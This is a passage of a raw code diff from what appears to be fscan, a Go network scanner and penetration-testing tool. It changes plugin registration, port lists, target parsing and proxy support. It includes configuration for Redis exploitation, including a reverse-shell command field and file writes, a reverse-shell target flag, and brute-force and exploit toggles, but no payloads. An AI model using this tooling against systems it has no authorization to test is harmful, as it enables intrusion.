// 全局插件管理函数 (保持向后兼容)
|
// 全局插件管理函数 (保持向后兼容)
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
// 已移除未使用的 RegisterPlugin 方法
|
// RegisterPlugin 注册插件到全局管理器
|
||||||
|
func RegisterPlugin(name string, plugin ScanPlugin) error {
|
||||||
|
// 转换为新的插件结构
|
||||||
|
newPlugin := &ScanPlugin{
|
||||||
|
Name: name,
|
||||||
|
Ports: plugin.Ports,
|
||||||
|
Types: plugin.Types,
|
||||||
|
Enabled: true,
|
||||||
|
ScanFunc: plugin.ScanFunc,
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 Clear 方法
|
// 注册到新的插件管理器
|
||||||
|
err := globalPluginManager.RegisterPlugin(newPlugin)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 ClearPluginsByType 方法
|
// 同时更新Legacy管理器以保持向后兼容
|
||||||
|
LegacyPluginManager[name] = plugin
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clear 清理所有插件(防止内存泄漏)
|
||||||
|
func (pm *PluginManager) Clear() {
|
||||||
|
pm.mu.Lock()
|
||||||
|
defer pm.mu.Unlock()
|
||||||
|
|
||||||
|
// 清理插件实例
|
||||||
|
for name, plugin := range pm.plugins {
|
||||||
|
// ScanPlugin结构不包含Cleanup方法,直接删除即可
|
||||||
|
_ = plugin // 避免未使用变量警告
|
||||||
|
delete(pm.plugins, name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理索引
|
||||||
|
for typeKey := range pm.types {
|
||||||
|
delete(pm.types, typeKey)
|
||||||
|
}
|
||||||
|
for portKey := range pm.ports {
|
||||||
|
delete(pm.ports, portKey)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理Legacy管理器
|
||||||
|
for k := range LegacyPluginManager {
|
||||||
|
delete(LegacyPluginManager, k)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ClearPluginsByType 清理指定类型的插件
|
||||||
|
func (pm *PluginManager) ClearPluginsByType(pluginType string) {
|
||||||
|
pm.mu.Lock()
|
||||||
|
defer pm.mu.Unlock()
|
||||||
|
|
||||||
|
plugins := pm.types[pluginType]
|
||||||
|
for _, plugin := range plugins {
|
||||||
|
// ScanPlugin结构不包含Cleanup方法,直接删除即可
|
||||||
|
delete(pm.plugins, plugin.Name)
|
||||||
|
}
|
||||||
|
delete(pm.types, pluginType)
|
||||||
|
|
||||||
|
// 同步清理端口索引
|
||||||
|
for port, portPlugins := range pm.ports {
|
||||||
|
filtered := make([]*ScanPlugin, 0)
|
||||||
|
for _, plugin := range portPlugins {
|
||||||
|
found := false
|
||||||
|
for _, typePlugin := range plugins {
|
||||||
|
if plugin == typePlugin {
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
filtered = append(filtered, plugin)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(filtered) == 0 {
|
||||||
|
delete(pm.ports, port)
|
||||||
|
} else {
|
||||||
|
pm.ports[port] = filtered
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// GetGlobalPluginManager 方法已删除(死代码清理)
|
// GetGlobalPluginManager 方法已删除(死代码清理)
|
||||||
|
|
||||||
|
@ -18,7 +18,6 @@ import (
|
|||||||
"github.com/shadow1ng/fscan/common/base"
|
"github.com/shadow1ng/fscan/common/base"
|
||||||
"github.com/shadow1ng/fscan/common/logging"
|
"github.com/shadow1ng/fscan/common/logging"
|
||||||
"github.com/shadow1ng/fscan/common/output"
|
"github.com/shadow1ng/fscan/common/output"
|
||||||
"github.com/shadow1ng/fscan/common/proxy"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
@ -30,8 +29,12 @@ type ScanPlugin = base.ScanPlugin
|
|||||||
|
|
||||||
// 插件类型常量
|
// 插件类型常量
|
||||||
const (
|
const (
|
||||||
|
PluginTypeService = base.PluginTypeService
|
||||||
PluginTypeWeb = base.PluginTypeWeb
|
PluginTypeWeb = base.PluginTypeWeb
|
||||||
PluginTypeLocal = base.PluginTypeLocal
|
PluginTypeLocal = base.PluginTypeLocal
|
||||||
|
PluginTypeBrute = base.PluginTypeBrute
|
||||||
|
PluginTypePoc = base.PluginTypePoc
|
||||||
|
PluginTypeScan = base.PluginTypeScan
|
||||||
)
|
)
|
||||||
|
|
||||||
// 全局插件管理器
|
// 全局插件管理器
|
||||||
@ -41,7 +44,12 @@ var PluginManager = base.LegacyPluginManager
|
|||||||
// 核心功能导出 - 直接调用对应模块
|
// 核心功能导出 - 直接调用对应模块
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
// 已移除未使用的 RegisterPlugin 方法
|
// 插件系统
|
||||||
|
func RegisterPlugin(name string, plugin ScanPlugin) {
|
||||||
|
if err := base.RegisterPlugin(name, plugin); err != nil {
|
||||||
|
LogError("Failed to register plugin " + name + ": " + err.Error())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// GetGlobalPluginManager 函数已删除(死代码清理)
|
// GetGlobalPluginManager 函数已删除(死代码清理)
|
||||||
|
|
||||||
@ -169,58 +177,14 @@ func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.
|
|||||||
return net.DialTimeout(network, address, timeout)
|
return net.DialTimeout(network, address, timeout)
|
||||||
}
|
}
|
||||||
|
|
||||||
// WrapperTcpWithContext TCP连接包装器,带上下文和代理支持
|
// WrapperTcpWithContext TCP连接包装器,带上下文
|
||||||
func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) {
|
func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) {
|
||||||
// 检查是否配置了SOCKS5代理
|
|
||||||
if Socks5Proxy != "" {
|
|
||||||
proxyConfig := &proxy.ProxyConfig{
|
|
||||||
Type: proxy.ProxyTypeSOCKS5,
|
|
||||||
Address: Socks5Proxy,
|
|
||||||
Timeout: time.Second * 10,
|
|
||||||
}
|
|
||||||
|
|
||||||
proxyManager := proxy.NewProxyManager(proxyConfig)
|
|
||||||
dialer, err := proxyManager.GetDialer()
|
|
||||||
if err != nil {
|
|
||||||
LogDebug(fmt.Sprintf("SOCKS5代理连接失败,回退到直连: %v", err))
|
|
||||||
// 代理失败时回退到直连
|
|
||||||
var d net.Dialer
|
var d net.Dialer
|
||||||
return d.DialContext(ctx, network, address)
|
return d.DialContext(ctx, network, address)
|
||||||
}
|
}
|
||||||
|
|
||||||
LogDebug(fmt.Sprintf("使用SOCKS5代理连接: %s -> %s", Socks5Proxy, address))
|
// WrapperTlsWithContext TLS连接包装器,带上下文
|
||||||
return dialer.DialContext(ctx, network, address)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 没有配置代理,使用直连
|
|
||||||
var d net.Dialer
|
|
||||||
return d.DialContext(ctx, network, address)
|
|
||||||
}
|
|
||||||
|
|
||||||
// WrapperTlsWithContext TLS连接包装器,带上下文和代理支持
|
|
||||||
func WrapperTlsWithContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error) {
|
func WrapperTlsWithContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error) {
|
||||||
// 检查是否配置了SOCKS5代理
|
|
||||||
if Socks5Proxy != "" {
|
|
||||||
proxyConfig := &proxy.ProxyConfig{
|
|
||||||
Type: proxy.ProxyTypeSOCKS5,
|
|
||||||
Address: Socks5Proxy,
|
|
||||||
Timeout: time.Second * 10,
|
|
||||||
}
|
|
||||||
|
|
||||||
proxyManager := proxy.NewProxyManager(proxyConfig)
|
|
||||||
tlsDialer, err := proxyManager.GetTLSDialer()
|
|
||||||
if err != nil {
|
|
||||||
LogDebug(fmt.Sprintf("SOCKS5代理TLS连接失败,回退到直连: %v", err))
|
|
||||||
// 代理失败时回退到直连
|
|
||||||
d := &tls.Dialer{Config: config}
|
|
||||||
return d.DialContext(ctx, network, address)
|
|
||||||
}
|
|
||||||
|
|
||||||
LogDebug(fmt.Sprintf("使用SOCKS5代理TLS连接: %s -> %s", Socks5Proxy, address))
|
|
||||||
return tlsDialer.DialTLSContext(ctx, network, address, config)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 没有配置代理,使用直连
|
|
||||||
d := &tls.Dialer{Config: config}
|
d := &tls.Dialer{Config: config}
|
||||||
return d.DialContext(ctx, network, address)
|
return d.DialContext(ctx, network, address)
|
||||||
}
|
}
|
||||||
|
@ -86,6 +86,7 @@ type VulnExploitConfig struct {
|
|||||||
// Redis利用
|
// Redis利用
|
||||||
RedisFile string `json:"redis_file"` // Redis利用目标文件
|
RedisFile string `json:"redis_file"` // Redis利用目标文件
|
||||||
RedisShell string `json:"redis_shell"` // Redis反弹Shell命令
|
RedisShell string `json:"redis_shell"` // Redis反弹Shell命令
|
||||||
|
DisableRedis bool `json:"disable_redis"` // 是否禁用Redis利用测试
|
||||||
RedisWritePath string `json:"redis_write_path"` // Redis文件写入路径
|
RedisWritePath string `json:"redis_write_path"` // Redis文件写入路径
|
||||||
RedisWriteContent string `json:"redis_write_content"` // Redis文件写入内容
|
RedisWriteContent string `json:"redis_write_content"` // Redis文件写入内容
|
||||||
RedisWriteFile string `json:"redis_write_file"` // Redis写入的源文件
|
RedisWriteFile string `json:"redis_write_file"` // Redis写入的源文件
|
||||||
|
@ -20,7 +20,7 @@ globals.go - 全局变量定义
|
|||||||
// 版本信息
|
// 版本信息
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
var version = "2.2.1"
|
var version = "2.2.0"
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 简化的全局状态管理(仅保留必要的同步机制)
|
// 简化的全局状态管理(仅保留必要的同步机制)
|
||||||
|
@ -1,58 +0,0 @@
|
|||||||
package common
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"strconv"
|
|
||||||
)
|
|
||||||
|
|
||||||
// HostInfoHelper 提供HostInfo的辅助方法
|
|
||||||
// 使用函数而不是方法,保持向后兼容
|
|
||||||
|
|
||||||
|
|
||||||
// GetPort 获取端口号(转换为整数)
|
|
||||||
func GetPort(h *HostInfo) (int, error) {
|
|
||||||
if h.Ports == "" {
|
|
||||||
return 0, fmt.Errorf("端口未设置")
|
|
||||||
}
|
|
||||||
return strconv.Atoi(h.Ports)
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// IsWebTarget 判断是否为Web目标
|
|
||||||
func IsWebTarget(h *HostInfo) bool {
|
|
||||||
return h.Url != ""
|
|
||||||
}
|
|
||||||
|
|
||||||
// HasPort 检查是否设置了端口
|
|
||||||
func HasPort(h *HostInfo) bool {
|
|
||||||
return h.Ports != ""
|
|
||||||
}
|
|
||||||
|
|
||||||
// ValidateHostInfo 验证HostInfo的有效性
|
|
||||||
func ValidateHostInfo(h *HostInfo) error {
|
|
||||||
if h.Host == "" && h.Url == "" {
|
|
||||||
return fmt.Errorf("主机地址或URL必须至少指定一个")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证端口格式(如果指定了)
|
|
||||||
if h.Ports != "" {
|
|
||||||
if _, err := GetPort(h); err != nil {
|
|
||||||
return fmt.Errorf("端口格式无效: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// HostInfoString 返回HostInfo的字符串表示
|
|
||||||
func HostInfoString(h *HostInfo) string {
|
|
||||||
if IsWebTarget(h) {
|
|
||||||
return h.Url
|
|
||||||
}
|
|
||||||
|
|
||||||
if HasPort(h) {
|
|
||||||
return fmt.Sprintf("%s:%s", h.Host, h.Ports)
|
|
||||||
}
|
|
||||||
|
|
||||||
return h.Host
|
|
||||||
}
|
|
@ -170,6 +170,10 @@ var FlagMessages = map[string]map[string]string{
|
|||||||
LangZH: "Redis Shell",
|
LangZH: "Redis Shell",
|
||||||
LangEN: "Redis Shell",
|
LangEN: "Redis Shell",
|
||||||
},
|
},
|
||||||
|
"flag_disable_redis": {
|
||||||
|
LangZH: "禁用Redis扫描",
|
||||||
|
LangEN: "Disable Redis scan",
|
||||||
|
},
|
||||||
"flag_redis_write_path": {
|
"flag_redis_write_path": {
|
||||||
LangZH: "Redis写入路径",
|
LangZH: "Redis写入路径",
|
||||||
LangEN: "Redis write path",
|
LangEN: "Redis write path",
|
||||||
@ -186,6 +190,10 @@ var FlagMessages = map[string]map[string]string{
|
|||||||
LangZH: "禁用暴力破解",
|
LangZH: "禁用暴力破解",
|
||||||
LangEN: "Disable brute force",
|
LangEN: "Disable brute force",
|
||||||
},
|
},
|
||||||
|
"flag_disable_exploit": {
|
||||||
|
LangZH: "禁用利用攻击",
|
||||||
|
LangEN: "Disable exploit attacks",
|
||||||
|
},
|
||||||
"flag_max_retries": {
|
"flag_max_retries": {
|
||||||
LangZH: "最大重试次数",
|
LangZH: "最大重试次数",
|
||||||
LangEN: "Maximum retries",
|
LangEN: "Maximum retries",
|
||||||
@ -227,10 +235,6 @@ var FlagMessages = map[string]map[string]string{
|
|||||||
LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
|
LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
|
||||||
},
|
},
|
||||||
"flag_socks5_proxy": {
|
"flag_socks5_proxy": {
|
||||||
LangZH: "使用SOCKS5代理 (如: 127.0.0.1:1080)",
|
|
||||||
LangEN: "Use SOCKS5 proxy (e.g.: 127.0.0.1:1080)",
|
|
||||||
},
|
|
||||||
"flag_start_socks5_server": {
|
|
||||||
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
|
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
|
||||||
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
|
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
|
||||||
},
|
},
|
||||||
|
@ -108,7 +108,11 @@ func ParsePort(ports string) []int {
|
|||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// 已移除未使用的 ParsePortsFromString 方法
|
// ParsePortsFromString 从字符串解析端口列表
|
||||||
|
// 保持与 ParsePortsFromString 的接口兼容性
|
||||||
|
func ParsePortsFromString(portsStr string) []int {
|
||||||
|
return ParsePort(portsStr)
|
||||||
|
}
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 辅助函数
|
// 辅助函数
|
||||||
|
@ -30,6 +30,7 @@ type TargetParserOptions struct {
|
|||||||
ValidateURLs bool `json:"validate_urls"`
|
ValidateURLs bool `json:"validate_urls"`
|
||||||
ResolveDomains bool `json:"resolve_domains"`
|
ResolveDomains bool `json:"resolve_domains"`
|
||||||
EnableStatistics bool `json:"enable_statistics"`
|
EnableStatistics bool `json:"enable_statistics"`
|
||||||
|
DefaultPorts string `json:"default_ports"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// DefaultTargetParserOptions 默认目标解析器选项
|
// DefaultTargetParserOptions 默认目标解析器选项
|
||||||
@ -42,6 +43,7 @@ func DefaultTargetParserOptions() *TargetParserOptions {
|
|||||||
ValidateURLs: DefaultValidateURLs,
|
ValidateURLs: DefaultValidateURLs,
|
||||||
ResolveDomains: DefaultResolveDomains,
|
ResolveDomains: DefaultResolveDomains,
|
||||||
EnableStatistics: DefaultTargetEnableStatistics,
|
EnableStatistics: DefaultTargetEnableStatistics,
|
||||||
|
DefaultPorts: DefaultPorts,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -197,31 +199,11 @@ func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []str
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 去重和验证,同时分离host:port格式
|
// 去重和验证
|
||||||
hosts = tp.removeDuplicateStrings(hosts)
|
hosts = tp.removeDuplicateStrings(hosts)
|
||||||
validHosts := make([]string, 0, len(hosts))
|
validHosts := make([]string, 0, len(hosts))
|
||||||
hostPorts := make([]string, 0)
|
|
||||||
|
|
||||||
for _, host := range hosts {
|
for _, host := range hosts {
|
||||||
// 检查是否为host:port格式
|
|
||||||
if strings.Contains(host, ":") {
|
|
||||||
if h, portStr, err := net.SplitHostPort(host); err == nil {
|
|
||||||
// 验证端口号
|
|
||||||
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
|
|
||||||
// 验证主机部分
|
|
||||||
if valid, hostErr := tp.validateHost(h); valid {
|
|
||||||
// 这是有效的host:port组合,添加到hostPorts
|
|
||||||
hostPorts = append(hostPorts, host)
|
|
||||||
continue
|
|
||||||
} else if hostErr != nil {
|
|
||||||
warnings = append(warnings, fmt.Sprintf("无效主机端口组合: %s - %s", host, hostErr.Error()))
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 作为普通主机验证
|
|
||||||
if valid, err := tp.validateHost(host); valid {
|
if valid, err := tp.validateHost(host); valid {
|
||||||
validHosts = append(validHosts, host)
|
validHosts = append(validHosts, host)
|
||||||
} else if err != nil {
|
} else if err != nil {
|
||||||
@ -229,11 +211,6 @@ func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []str
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 将找到的hostPorts合并到输入结果中(通过修改input结构)
|
|
||||||
if len(hostPorts) > 0 {
|
|
||||||
input.HostPort = append(input.HostPort, hostPorts...)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查目标数量限制
|
// 检查目标数量限制
|
||||||
if len(validHosts) > tp.options.MaxTargets {
|
if len(validHosts) > tp.options.MaxTargets {
|
||||||
warnings = append(warnings, fmt.Sprintf("主机数量超过限制,截取前%d个", tp.options.MaxTargets))
|
warnings = append(warnings, fmt.Sprintf("主机数量超过限制,截取前%d个", tp.options.MaxTargets))
|
||||||
@ -429,28 +406,10 @@ func (tp *TargetParser) parseHostList(hostStr string) ([]string, error) {
|
|||||||
}
|
}
|
||||||
hosts = append(hosts, rangeHosts...)
|
hosts = append(hosts, rangeHosts...)
|
||||||
default:
|
default:
|
||||||
// 检查是否为host:port格式
|
|
||||||
if strings.Contains(item, ":") {
|
|
||||||
if _, portStr, err := net.SplitHostPort(item); err == nil {
|
|
||||||
// 验证端口号
|
|
||||||
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
|
|
||||||
// 这是有效的host:port格式,但在这里仍然作为主机处理
|
|
||||||
// 在后续的processHostPorts函数中会被正确处理
|
|
||||||
hosts = append(hosts, item)
|
|
||||||
} else {
|
|
||||||
// 端口无效,作为普通主机处理
|
|
||||||
hosts = append(hosts, item)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// 不是有效的host:port格式,作为普通主机处理
|
|
||||||
hosts = append(hosts, item)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// 单个IP或域名
|
// 单个IP或域名
|
||||||
hosts = append(hosts, item)
|
hosts = append(hosts, item)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
return hosts, nil
|
return hosts, nil
|
||||||
}
|
}
|
||||||
@ -738,19 +697,6 @@ func (tp *TargetParser) validateHost(host string) (bool, error) {
|
|||||||
return false, fmt.Errorf("主机地址为空")
|
return false, fmt.Errorf("主机地址为空")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查是否为host:port格式
|
|
||||||
if strings.Contains(host, ":") {
|
|
||||||
// 可能是host:port格式,尝试分离
|
|
||||||
if h, portStr, err := net.SplitHostPort(host); err == nil {
|
|
||||||
// 验证端口号
|
|
||||||
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
|
|
||||||
// 递归验证主机部分(不包含端口)
|
|
||||||
return tp.validateHost(h)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 如果不是有效的host:port格式,继续按普通主机地址处理
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为IP地址
|
// 检查是否为IP地址
|
||||||
if ip := net.ParseIP(host); ip != nil {
|
if ip := net.ParseIP(host); ip != nil {
|
||||||
return tp.validateIP(ip)
|
return tp.validateIP(ip)
|
||||||
|
@ -3,8 +3,6 @@ package parsers
|
|||||||
import (
|
import (
|
||||||
"regexp"
|
"regexp"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common/base"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
/*
|
/*
|
||||||
@ -136,11 +134,12 @@ const (
|
|||||||
DefaultValidateURLs = true
|
DefaultValidateURLs = true
|
||||||
DefaultResolveDomains = false
|
DefaultResolveDomains = false
|
||||||
DefaultTargetEnableStatistics = true
|
DefaultTargetEnableStatistics = true
|
||||||
|
DefaultPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
|
||||||
|
|
||||||
// 正则表达式模式
|
// 正则表达式模式
|
||||||
IPv4RegexPattern = `^(\d{1,3}\.){3}\d{1,3}$`
|
IPv4RegexPattern = `^(\d{1,3}\.){3}\d{1,3}$`
|
||||||
PortRangeRegexPattern = `^(\d+)(-(\d+))?$`
|
PortRangeRegexPattern = `^(\d+)(-(\d+))?$`
|
||||||
URLValidationRegexPattern = `^https?://[^\s]+$`
|
URLValidationRegexPattern = `^https?://[^\s/$.?#].[^\s]*$`
|
||||||
DomainRegexPattern = `^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$`
|
DomainRegexPattern = `^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$`
|
||||||
CookieRegexPattern = `^[^=;\s]+(=[^;\s]*)?(\s*;\s*[^=;\s]+(=[^;\s]*)?)*$`
|
CookieRegexPattern = `^[^=;\s]+(=[^;\s]*)?(\s*;\s*[^=;\s]+(=[^;\s]*)?)*$`
|
||||||
|
|
||||||
@ -193,21 +192,25 @@ const (
|
|||||||
SamplingMaxHost = 253
|
SamplingMaxHost = 253
|
||||||
)
|
)
|
||||||
|
|
||||||
// GetPortGroups 获取预定义端口组映射(统一的端口组定义)
|
// GetPortGroups 获取预定义端口组映射
|
||||||
func GetPortGroups() map[string]string {
|
func GetPortGroups() map[string]string {
|
||||||
return map[string]string{
|
return map[string]string{
|
||||||
"web": base.WebPorts, // 使用实际的WebPorts常量
|
"web": "80,81,82,83,84,85,86,87,88,89,90,443,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8443,9000,9001,9002,9080,9090",
|
||||||
"main": base.MainPorts, // 使用实际的MainPorts常量
|
"main": "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616",
|
||||||
"db": base.DbPorts, // 使用实际的DbPorts常量
|
"database": "1433,1521,3306,5432,6379,11211,27017",
|
||||||
"service": base.ServicePorts, // 使用实际的ServicePorts常量
|
"common": "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986",
|
||||||
"common": base.CommonPorts, // 使用实际的CommonPorts常量
|
|
||||||
"all": base.AllPorts, // 使用实际的AllPorts常量
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetTargetPortGroups 获取目标解析器端口组映射(向后兼容,调用统一函数)
|
// GetTargetPortGroups 获取目标解析器端口组映射
|
||||||
func GetTargetPortGroups() map[string]string {
|
func GetTargetPortGroups() map[string]string {
|
||||||
return GetPortGroups()
|
return map[string]string{
|
||||||
|
"service": "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613",
|
||||||
|
"db": "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616",
|
||||||
|
"web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018",
|
||||||
|
"all": "1-65535",
|
||||||
|
"main": "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616",
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
@ -1,62 +0,0 @@
|
|||||||
package common
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
)
|
|
||||||
|
|
||||||
// TargetInfo 包装HostInfo,提供更丰富的功能
|
|
||||||
type TargetInfo struct {
|
|
||||||
*HostInfo // 嵌入HostInfo,保持向后兼容
|
|
||||||
context context.Context
|
|
||||||
metadata map[string]interface{}
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewTargetInfo 创建新的目标信息
|
|
||||||
func NewTargetInfo(hostInfo HostInfo) *TargetInfo {
|
|
||||||
return &TargetInfo{
|
|
||||||
HostInfo: &hostInfo,
|
|
||||||
context: context.Background(),
|
|
||||||
metadata: make(map[string]interface{}),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// WithContext 设置上下文
|
|
||||||
func (t *TargetInfo) WithContext(ctx context.Context) *TargetInfo {
|
|
||||||
t.context = ctx
|
|
||||||
return t
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// SetMetadata 设置元数据
|
|
||||||
func (t *TargetInfo) SetMetadata(key string, value interface{}) *TargetInfo {
|
|
||||||
if t.metadata == nil {
|
|
||||||
t.metadata = make(map[string]interface{})
|
|
||||||
}
|
|
||||||
t.metadata[key] = value
|
|
||||||
return t
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetMetadata 获取元数据
|
|
||||||
func (t *TargetInfo) GetMetadata(key string) (interface{}, bool) {
|
|
||||||
if t.metadata == nil {
|
|
||||||
return nil, false
|
|
||||||
}
|
|
||||||
value, exists := t.metadata[key]
|
|
||||||
return value, exists
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// String 返回字符串表示
|
|
||||||
func (t *TargetInfo) String() string {
|
|
||||||
return HostInfoString(t.HostInfo)
|
|
||||||
}
|
|
||||||
|
|
||||||
// HasMetadata 检查是否有指定的元数据
|
|
||||||
func (t *TargetInfo) HasMetadata(key string) bool {
|
|
||||||
_, exists := t.GetMetadata(key)
|
|
||||||
return exists
|
|
||||||
}
|
|
@ -1,6 +1,8 @@
|
|||||||
package utils
|
package utils
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"log"
|
||||||
|
"runtime"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
@ -23,19 +25,102 @@ func NewMemoryMonitor(maxHeapMB uint64, maxGoroutines int, checkInterval time.Du
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 已移除未使用的 Start 方法
|
// Start 启动内存监控
|
||||||
|
func (mm *MemoryMonitor) Start() {
|
||||||
|
if mm.running {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 Stop 方法
|
mm.running = true
|
||||||
|
go mm.monitor()
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 monitor 方法
|
// Stop 停止内存监控
|
||||||
|
func (mm *MemoryMonitor) Stop() {
|
||||||
|
if !mm.running {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 checkMemory 方法
|
mm.running = false
|
||||||
|
select {
|
||||||
|
case mm.stopChan <- true:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 GetMemoryStats 方法
|
// monitor 监控循环
|
||||||
|
func (mm *MemoryMonitor) monitor() {
|
||||||
|
ticker := time.NewTicker(mm.checkInterval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
// 已移除未使用的 ForceGC 方法
|
for {
|
||||||
|
select {
|
||||||
|
case <-ticker.C:
|
||||||
|
